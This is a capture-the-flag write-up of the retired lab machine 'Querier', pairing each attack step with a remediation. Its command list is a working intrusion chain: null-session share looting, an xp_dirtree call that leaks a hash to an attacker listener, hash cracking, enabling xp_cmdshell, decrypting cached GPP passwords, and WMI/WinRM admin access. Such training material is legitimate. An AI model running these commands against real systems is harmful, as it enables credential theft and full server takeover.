Querier
Summary
I scanned the Windows Server 2019 host QUERIER ($TARGET, domain HTB.LOCAL) and found SMB accepting unauthenticated null sessions with a publicly readable non-default share named Reports. That share held a macro-enabled Excel workbook whose VBA code contained a hardcoded SQL Server credential.
Using those credentials to log into SQL Server 2017 via Windows authentication, I abused the built-in xp_dirtree stored procedure to coerce the SQL Server service account (mssql-svc) into sending its NetNTLMv2 hash to a rogue SMB listener; cracking the hash offline produced the service account password. With the service account's SQL session, xp_cmdshell was re-enabled and used to execute OS commands, yielding the user flag.
A recursive filesystem search through xp_cmdshell located a cached Group Policy Preferences file containing an AES-encrypted local Administrator password — a password Microsoft's own published key can decrypt in seconds. Full Administrator access was then obtained via WMI remote execution, and the root flag was read from the Administrator's Desktop.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -p 135,139,445,1433,5985,47001 $TARGETnxc smb $TARGET -u '' -p '' --sharesFixDisable SMB null sessions and restrict share access to authenticated usersHigh
Exact commands 1
smbclient -N //$TARGET/Reports -c 'ls; prompt off; mget *'Exact commands 2
unzip -q 'Currency Volume Report.xlsm' -d xlsm_extractedolevba 'Currency Volume Report.xlsm'FixRemove hardcoded credentials from Office documents and VBA macrosCritical
Exact commands 3
sudo responder -I tun0 -vimpacket-mssqlclient "QUERIER/reporting:$PASSWORD@$TARGET" -windows-authEXEC master..xp_dirtree "\\$ATTACKER_IP\share";FixBlock outbound SMB from SQL Server and restrict xp_dirtree executionHigh
Exact commands 2
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txthashcat -m 5600 mssql-svc.hash /usr/share/wordlists/rockyou.txt --forceExact commands 3
impacket-mssqlclient "QUERIER/mssql-svc:$PASSWORD2@$TARGET" -windows-authEXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;EXEC xp_cmdshell 'type C:\Users\mssql-svc\Desktop\user.txt';FixDisable xp_cmdshell and lock down SQL Server extended stored proceduresCritical
Exact commands 3
EXEC xp_cmdshell 'dir /s /b "C:\ProgramData\Microsoft\Group Policy\History\*Groups.xml" 2^>nul';EXEC xp_cmdshell 'type "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"';gpp-decrypt <cpassword_value>FixPurge cached GPP credentials and deploy LAPS for local Administrator password managementCritical
Exact commands 2
impacket-wmiexec "QUERIER/Administrator:$PASSWORD3@$TARGET" 'cmd /c type C:\Users\Administrator\Desktop\root.txt'evil-winrm -i $TARGET -u Administrator -p '$PASSWORD3'Exposed services
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds? |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |
| 49671/tcp | unknown recon-sweep-discovered |